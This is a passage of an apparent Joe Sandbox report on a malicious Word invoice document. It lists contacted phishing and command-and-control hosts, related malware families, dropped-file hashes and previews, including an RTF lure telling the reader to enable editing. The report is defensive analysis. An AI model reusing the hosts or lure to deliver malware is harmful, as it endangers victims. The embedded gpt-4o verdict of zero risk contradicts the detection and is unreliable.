https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	tmpED81.tmp.12.dr	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://universalmovies.top/	EQNEDT32.EXE, 00000009.00000003.391282505.000000000057D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.000000000057E000.00000004.00000020.00020000.00000000.sdmp, universalmovies.top.url.0.dr	true	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.38.142.10:7474t-	RegSvcs.exe, 0000000C.00000002.439295292.0000000002493000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adobe.	RegSvcs.exe, 0000000C.00000002.439054948.0000000000037000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.	RegSvcs.exe	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.orgcoo	RegSvcs.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	false	Avira URL Cloud: safe	unknown
https://universalmovies.top/FB8Rj	EQNEDT32.EXE, 00000009.00000003.391282505.000000000057D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.000000000057E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.162.95	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.74.191	universalmovies.top	United States	13335	CLOUDFLARENETUS	true
185.38.142.10	unknown	Portugal	47674	NETSOLUTIONSNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1461841
Start date and time:	2024-06-24 18:22:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@6/54@16/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 60 Number of non-executed functions: 271
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 172.67.75.172, 104.26.13.31
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net
Execution Graph export aborted for target EQNEDT32.EXE, PID 3404 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

Simulations

Behavior and APIs

Time	Type	Description
12:23:10	API Interceptor	44x Sleep call for process: EQNEDT32.EXE modified
12:23:14	API Interceptor	105x Sleep call for process: RegSvcs.exe modified

LLM Input / Output

Input

Output

URL: Office document Model: gpt-4o

```json{  "riskscore": 0,  "reasons": "The provided screenshot does not contain any visually prominent button or link. The text in the screenshot appears to be a list of items or codes, and there is no language that creates a sense of urgency or interest, such as 'Click here to view document' or 'Open the link to see your invoice.' Additionally, there is no impersonation of well-known brands or any indication that the text is connected to a prominent button or link. Therefore, the document does not exhibit characteristics typically associated with phishing or malware distribution."}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.162.95	Kobe 045EX07227 CLG6739.docx.doc	Get hash	malicious	Unknown	Browse
	Kobe 045EX07227 CLG6739.docx.doc	Get hash	malicious	Unknown	Browse
	PROFORMAXINVOICE.docx.doc	Get hash	malicious	Lokibot	Browse
	MV HTK Lavender.doc	Get hash	malicious	Lokibot	Browse
	PUO.docx.doc	Get hash	malicious	HTMLPhisher	Browse
	336HB7m70J.rtf	Get hash	malicious	AgentTesla	Browse
	LIW_009.docx.doc	Get hash	malicious	FormBook	Browse
	PAYMENT SLIP.doc	Get hash	malicious	AgentTesla	Browse
	PAYROLL.doc	Get hash	malicious	FormBook	Browse
	APR PAYROLL.doc	Get hash	malicious	FormBook	Browse
104.21.74.191	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	tuong.me/wp-login.php
185.38.142.10	MSH INV 2024-0117 Secure Payment Invoice for .exe	Get hash	malicious	RedLine	Browse	185.38.142.10:7474/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
universalmovies.top	Kobe 045EX07227 CLG6739.docx.doc	Get hash	malicious	Unknown	Browse	172.67.162.95
	Kobe 045EX07227 CLG6739.docx.doc	Get hash	malicious	Unknown	Browse	172.67.162.95
	PROFORMAXINVOICE.docx.doc	Get hash	malicious	Lokibot	Browse	172.67.162.95
	MV HTK Lavender.doc	Get hash	malicious	Lokibot	Browse	172.67.162.95
	PUO 2.doc	Get hash	malicious	HTMLPhisher	Browse	104.21.74.191
	PUO.docx.doc	Get hash	malicious	HTMLPhisher	Browse	172.67.162.95
	336HB7m70J.rtf	Get hash	malicious	AgentTesla	Browse	172.67.162.95
	lrShdpqqbi.rtf	Get hash	malicious	FormBook	Browse	104.21.74.191
	LIW_009.docx.doc	Get hash	malicious	FormBook	Browse	172.67.162.95
	New PO for Project - 00775, 00875 02195.doc	Get hash	malicious	Unknown	Browse	104.21.74.191

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	QUOTATION PT INDONESIA.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	DHL_Shipment_Details.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	PO-2405280.xls	Get hash	malicious	Remcos	Browse	104.21.26.96
	Po-6528279-SK.xls	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	Potwierdzenie zam#U00f3wienia.doc.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	doc2406.vbs	Get hash	malicious	FormBook	Browse	172.67.75.40
	PO53467.xls	Get hash	malicious	Remcos	Browse	104.21.26.96
	https://erpportal.com/1331/LV/forms/new/100110215%7C1AC492413EB45535E0632D16670A3281	Get hash	malicious	Unknown	Browse	162.247.243.29
	334427.exe	Get hash	malicious	GuLoader	Browse	172.67.74.152
	http://bleachinjectionuncommon.com	Get hash	malicious	Unknown	Browse	104.18.32.137
NETSOLUTIONSNL	MSH INV 2024-0117 Secure Payment Invoice for .exe	Get hash	malicious	RedLine	Browse	185.38.142.10
	sclfmLKwR7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.38.142.103
	3nYvEPuDi1.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.38.142.103
	DS4T3FyXbu.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.38.142.103
	pDHAW6Eo6E.elf	Get hash	malicious	Gafgyt	Browse	185.38.142.103
	q5TDXPUPJg.elf	Get hash	malicious	Gafgyt	Browse	185.38.142.22
	K8pQUoHdUc.elf	Get hash	malicious	Gafgyt	Browse	185.38.142.22
	PWkv0lkpNM.elf	Get hash	malicious	Gafgyt	Browse	185.38.142.22
	r4S9Lebe4t.elf	Get hash	malicious	Gafgyt	Browse	185.38.142.22
	7yZNYj8ByC.elf	Get hash	malicious	Gafgyt	Browse	185.38.142.22
CLOUDFLARENETUS	QUOTATION PT INDONESIA.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	DHL_Shipment_Details.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	PO-2405280.xls	Get hash	malicious	Remcos	Browse	104.21.26.96
	Po-6528279-SK.xls	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	Potwierdzenie zam#U00f3wienia.doc.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	doc2406.vbs	Get hash	malicious	FormBook	Browse	172.67.75.40
	PO53467.xls	Get hash	malicious	Remcos	Browse	104.21.26.96
	https://erpportal.com/1331/LV/forms/new/100110215%7C1AC492413EB45535E0632D16670A3281	Get hash	malicious	Unknown	Browse	162.247.243.29
	334427.exe	Get hash	malicious	GuLoader	Browse	172.67.74.152
	http://bleachinjectionuncommon.com	Get hash	malicious	Unknown	Browse	104.18.32.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	PO-2405280.xls	Get hash	malicious	Remcos	Browse	172.67.162.95 104.21.74.191
	Po-6528279-SK.xls	Get hash	malicious	AgentTesla	Browse	172.67.162.95 104.21.74.191
	PO53467.xls	Get hash	malicious	Remcos	Browse	172.67.162.95 104.21.74.191
	PO-240528.xls	Get hash	malicious	Remcos	Browse	172.67.162.95 104.21.74.191
	Invoices_05062024.xls	Get hash	malicious	FormBook, GuLoader	Browse	172.67.162.95 104.21.74.191
	HSBC Customer Information.xls	Get hash	malicious	FormBook, GuLoader	Browse	172.67.162.95 104.21.74.191
	wssvZm9dNK.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	172.67.162.95 104.21.74.191
	Bills Paid.xls	Get hash	malicious	Remcos	Browse	172.67.162.95 104.21.74.191
	Zahlung.docx.doc	Get hash	malicious	Unknown	Browse	172.67.162.95 104.21.74.191
	NEW ORDER.docx.doc	Get hash	malicious	Unknown	Browse	172.67.162.95 104.21.74.191
7dcce5b76c8b17472d024758970a406b	PO-2405280.xls	Get hash	malicious	Remcos	Browse	104.21.74.191
	Po-6528279-SK.xls	Get hash	malicious	AgentTesla	Browse	104.21.74.191
	PO53467.xls	Get hash	malicious	Remcos	Browse	104.21.74.191
	PO-240528.xls	Get hash	malicious	Remcos	Browse	104.21.74.191
	Bills Paid.xls	Get hash	malicious	Remcos	Browse	104.21.74.191
	5698.docx.doc	Get hash	malicious	Unknown	Browse	104.21.74.191
	IlWPStOFHj.rtf	Get hash	malicious	Remcos	Browse	104.21.74.191
	V8ZnJcPOUY.rtf	Get hash	malicious	HTMLPhisher	Browse	104.21.74.191
	PO00595871.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	104.21.74.191
	A24-00342B139336 #TW_Inquiry.xls	Get hash	malicious	SmokeLoader	Browse	104.21.74.191

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.02574218694590596
Encrypted:	false
SSDEEP:	6:I3DPc91g0VvxggLRxk1/fxlHH4dRXv//4tfnRujlw//+GtluJ/eRuj:I3DPs1NZC1nx5HmvYg3J/
MD5:	2F5BD867B5F59EAAE3CA96DBBD1A7376
SHA1:	8C2ABE7614CC0E63698ACCD8E9083C776AD5D523
SHA-256:	10BE461A5B839C7734E97D90C328E00E4599AC477D63D371F4B91FD303C263C3
SHA-512:	E774F8EAFCAE56694E88AE70F00D21983073D3FAF9F8435B3837157B54091569F2C9911384B8E1B775B661968BC528DD79A2B81F4539A876F666DE696F084ABC
Malicious:	false
Reputation:	low
Preview:	......M.eFy...z...[N..H.s...L.S,...X.F...Fa.q............................&}...#O.UO.j.............L.6@..J.........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\notorious[1].doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	618938
Entropy (8bit):	3.5824693010060775
Encrypted:	false
SSDEEP:	6144:IwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAqtUn:+u
MD5:	2D1B096A33D1B673FD06DB9F3E861761
SHA1:	3C0A1D1BD1B54381DF8769ECC173E8635FEA366E
SHA-256:	BF89362748B9E66C11AAA49DDF83B1665FE038D04225B36DE4F26CFFC11A0F3D
SHA-512:	32156517472C8C4A6998E58BB90E0A684516A11C403D87524A8561F647901CDB9413DD71B55DF4DE52C88E5E522E06EE9565FC6DC653EC8F49BA5C58A3D5034E
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\notorious[1].doc, Author: ditekSHen
Reputation:	low
Preview:	{\rtf1..{\*\WauwWb33kVtBeFXoF5Me8bbkaCC88dqXB1LN0s84saDXfy7wNEIkF6fwo9WbTXUa8pudD9TZmbxq2sMJ09BBYE4OUwb26mMAnnIl6iE6rMnAeGPSXbh0yHxd3K6UwdemYg}..{\744345958please click Enable editing from the yellow bar above.The independent auditors. opinion says the financial statements are fairly stated in accordance with the basis of accounting used by your organization. So why are the auditors giving you that other letter In an audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good internal controls is that they allow errors and other misstatements to be prevented or detected and corrected by (the nonprofit.s) employees in the normal course of performing their duties. If the audit

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	644096
Entropy (8bit):	7.796206243772775
Encrypted:	false
SSDEEP:	12288:SYV6MorX7qzuC3QHO9FQVHPF51jgcN6S5UesUInNnpo2R2:hBXu9HGaVHN6S5U5Rn/Y
MD5:	901A623DBCCAA22525373CD36195EE14
SHA1:	9ADB6DDDB68CD7E116DA9392E7EE63A8FA394495
SHA-256:	B5E250A95073B5DFE33F66C13CC89DA0FC8D3AF226E5EFB06BB8FCFD9A4CD6EC
SHA-512:	EABEBA0EB9AE7E39577A7E313E50807CEE1B888F1C8FF0FA375E5DE9451A66471C791C23EA4F4AF85151F96B065D55E8C1320026D8503A048A3E5968F8EFFC1D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r...........#.S..._@'.S...R.k.S....".S...RichR...................PE..L...."yf.........."......p...p....................@..........................p............@...@.......@.....................Dg..$.......Dg..................hk......................................t...H...........................................UPX0....................................UPX1.....p.......d..................@....rsrc....p.......l...h..............@..............................................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D9B70A7F.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	618938
Entropy (8bit):	3.5824693010060775
Encrypted:	false
SSDEEP:	6144:IwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAqtUn:+u
MD5:	2D1B096A33D1B673FD06DB9F3E861761
SHA1:	3C0A1D1BD1B54381DF8769ECC173E8635FEA366E
SHA-256:	BF89362748B9E66C11AAA49DDF83B1665FE038D04225B36DE4F26CFFC11A0F3D
SHA-512:	32156517472C8C4A6998E58BB90E0A684516A11C403D87524A8561F647901CDB9413DD71B55DF4DE52C88E5E522E06EE9565FC6DC653EC8F49BA5C58A3D5034E
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D9B70A7F.doc, Author: ditekSHen
Reputation:	low
Preview:	{\rtf1..{\*\WauwWb33kVtBeFXoF5Me8bbkaCC88dqXB1LN0s84saDXfy7wNEIkF6fwo9WbTXUa8pudD9TZmbxq2sMJ09BBYE4OUwb26mMAnnIl6iE6rMnAeGPSXbh0yHxd3K6UwdemYg}..{\744345958please click Enable editing from the yellow bar above.The independent auditors. opinion says the financial statements are fairly stated in accordance with the basis of accounting used by your organization. So why are the auditors giving you that other letter In an audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good internal controls is that they allow errors and other misstatements to be prevented or detected and corrected by (the nonprofit.s) employees in the normal course of performing their duties. If the audit

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	3.891448580945385
Encrypted:	false
SSDEEP:	48:rlyrUnkMP3WtgigVNsl4p2larliwjbhqexP1vXzf4GVERFX:5yr8kMP3WtgBNEOrliwjbh51vXzfb6
MD5:	AB2121C164B215FA499E35EFF27EF06C
SHA1:	6ECD4DD8F558EDC74C3726832238C73363DF0844
SHA-256:	B120F10A9C4F42DD290DBED490C4B697E235E34C89658D85C5CC9B3B32A029B8
SHA-512:	15D28D68080B675E1EA5C1574F03BF0F34110D887E87C3DBA33EF91C3B95A1B284B4FBED9967909DF5D6466498C9AD5A102F167E7B8D2BECFAB393C7542AA120
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2C526506-4FBE-42A0-959C-39EA9B65EB40}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	46874
Entropy (8bit):	3.551464186925344
Encrypted:	false
SSDEEP:	768:uaWvW5Kq2g0Zos0SCWiMuz1rqAyLt+eqViz9yCFcEhZVsft:FgemiDvwxKrK2ft
MD5:	AC7C710B6CA9D66ED9923D65C708B21B
SHA1:	756E2D7C42EF9BF05DA7EA871B077BB6DAFCD8E7
SHA-256:	C1BEA8318A21530E776F4E3336A3F5E8AFE04F52FBB44F254304A9F36C570B68
SHA-512:	B366139A262F47A8C38FC1B5E649F9529E5E89471FF34B543A484737F84C6AF7185AB363946BFBD17DB9BA6642D0CE5520BEA236693CA27E3AF123816809F65C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..d.M.B.C.....B.E.S.O.N.D.E.R.H.E.D.E. .B.E.S.O.N.D.E.R.H.E.D.E. .V.I.R. .H.I.E.R.D.I.E. .M.A.A.N.D.....D.R.A.E.N.D.E. .N.R... .H.O.E.V.....3.0.2.0.8. .N.B.C. .D.R.A.A.G. .3.0. .S.T.K.....3.0.3.0.8. .N.B.C. .D.R.A.A.G. .6. .S.T.K.....3.2.0.0.7.X. .N.B.C. .D.R.A.A.G. .7.4. .S.T.K.....3.3.0.0.5. .N.B.C. .w.a.t. .5. .s.t.e.l.l.e. .d.r.a.....5.2.7.9.9. ./. .8.0.0.U. .(.2.5.8.7.7./.2.1.). .N.B.C. .w.a.t. .3.0. .P.C.S. .d.r.a.....6.0.0.1. .N.B.C. .w.a.t. .1.0.0. .s.t.u.k.s. .d.r.a.....6.0.0.4. .N.B.C. .w.a.t. ...................f...h...................................R...T..................................................................................................................................................................................................................................................................................................<...$..$.If........!v..h.#v..9.:V....l...,..t.......9..6.,.....5.....9.9...../.............B.....a..].p............yt%~D.....d........gd%

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{81A7FC9E-402C-4864-9B60-D1B944C96BBB}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{AAEC6E46-0BF3-46C0-BC83-ED3FE17BB1E7}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3540074910490207
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlb6:IiiiiiiiiifdLloZQc8++lsJe1Mz9/n
MD5:	5D86FAB4B71EDB7712C5D759D7F52023
SHA1:	6E8D73A485A139E85F6205AB7786027EDA8A5D12
SHA-256:	4ABB3FFDF5183FCE91387D250CBF331FF9FFD618BE4D3C5A031DA04A1F241201
SHA-512:	0CB51F9352C858469C116171A3266D1C0BCC241C2FE51071C34561E73AF076E7EC7BD144BE63D7E4F666153FB790A3D455BB220FE24357AEA27624BB2EB20C52
Malicious:	false
Reputation:	low
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B5B8F614-9B96-417A-88BC-683FD5B8D31A}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	349696
Entropy (8bit):	3.4174960555913105
Encrypted:	false
SSDEEP:	6144:SyemryemryemryemryemryemryemryemryemryemryemryemryemryemryemryeH:P
